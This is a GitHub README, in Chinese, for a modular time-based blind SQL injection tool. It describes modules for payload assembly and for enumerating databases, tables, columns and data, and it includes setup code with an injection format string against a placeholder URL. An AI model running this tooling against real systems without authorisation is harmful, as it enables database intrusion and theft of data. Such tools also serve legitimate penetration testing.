Skip to content

Junt184/sql-blind-inject

Repository files navigation

new

模块化重构版本,拆分为:

  • algorithm.py:二分/范围搜索
  • http_client.py:时间盲注HTTP客户端,输出单调谓词
  • payloads.py:SQL表达式拼装
  • enumerator.py:高层枚举逻辑(库/表/列/数据)
  • logger.py:轻量日志(等级+颜色)
  • examples/demo.py:示例入口

Logger 使用

from logger import Logger

logger = Logger(level="INFO", name="Demo", with_time=True, enable_color=True)
logger.debug("调试信息")
logger.info("普通信息")
logger.success("成功信息")
logger.warn("警告信息")
logger.error("错误信息")

等级含义:DEBUG < INFO < SUCCESS < WARN < ERROR。通过 level 过滤较低等级输出。enable_color=True 时采用 ANSI 颜色在终端显示不同颜色。

注入过程演示

示例默认不会发起请求,只演示如何接入日志:

from http_client import TimeBlindClient
from enumerator import Enumerator
from logger import Logger

logger = Logger(level="INFO", name="Demo", with_time=True, enable_color=True)
client = TimeBlindClient(
    url="https://example/api/",
    arg="id",
    method="GET",
    formatstr="1' and {} -- qwe",
    sleep_seconds=3,
    timeout_seconds=5.0,
    threshold_seconds=1.5,
    retries=2,
    logger=logger,
)
enum = Enumerator(client, max_ascii=126, logger=logger)

# logger.info("开始演示 current_database()")
# result = enum.current_database()
# logger.success(f"current_database -> {result}")

你可以调高 Logger 等级或关闭颜色;也可切换 threshold_secondsretries 以适配目标环境延迟波动。

HTTPS 与TLS告警

默认 verify=False 会导致 urllib3 抛出 InsecureRequestWarning。本实现默认通过 disable_tls_warnings=True 屏蔽此告警。更安全的配置为:

client = TimeBlindClient(
    url="https://example/api/",
    arg="id",
    method="GET",
    formatstr="1' and {} -- qwe",
    verify="/path/to/ca-bundle.pem",  # 或者 True 使用系统根证书
    disable_tls_warnings=False,        # 启用告警提示不安全配置
    # ... 其它参数
)

参考文档:urllib3 TLS warnings 指南(见 https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings)。

About

SQL注入盲注程序

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages